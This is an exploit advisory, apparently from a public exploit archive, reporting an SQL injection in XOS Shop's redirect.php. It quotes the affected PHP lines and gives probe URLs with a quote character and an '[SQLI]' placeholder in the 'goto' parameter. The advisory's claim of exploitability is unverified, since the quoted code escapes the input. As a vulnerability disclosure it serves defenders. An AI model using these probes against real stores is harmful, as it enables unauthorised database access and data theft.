################################################################################
# Exploit Title: XOS Shop_v1.0_rc7o Sql Injection Vulnerability
# Date: 23/01/2014
# Exploit Author: JoKeR_StEx
# Vendor Homepage: http://www.xos-shop.com/
# Software Link: http://xos-shop.com/main/index.php/cPath/25/
# Version: v1.0 rc7o
# Tested on: Windows PHP Version 6.0.0-dev
# CVE : [~]
##################################################################################
[-] Description :
XOS Shop is affected by Sql Injection Vulnerability
The Attacker Can inject some MYSQl and exploit it(get content of db)
[+] VUlnerability :
Affected File ==> redirect.php
Line 47;53
<?
switch($_GET['action']){
47: case 'url':
48: if (isset($_GET['goto']) && xos_not_null($_GET['goto'])) {
49: $check_query = xos_db_query("select products_url from " . TABLE_PRODUCTS_DESCRIPTION . " where products_url = '" . xos_db_input($_GET['goto']) . "' limit 1");
50: if (xos_db_num_rows($check_query)) {
51: xos_redirect('http://' . $_GET['goto'])
52: break;
53: }
?>
[-]Exploit
http://127.0.0.1/Xoshop/shop/redirect.php?action=url&goto='
http://127.0.0.1/Xoshop/shop/redirect.php?action=url&goto=[SQLI]
###################################################################################
# Gr33ting's : Asesino04 , Shield Dz , Drr.0ryx & All My Friedns
###################################################################################
eamil : jokerdz44@yahoo.fr
Facebook : fb.me/imadlilong.lasvegas
Twitter : @JoKeR_StEx
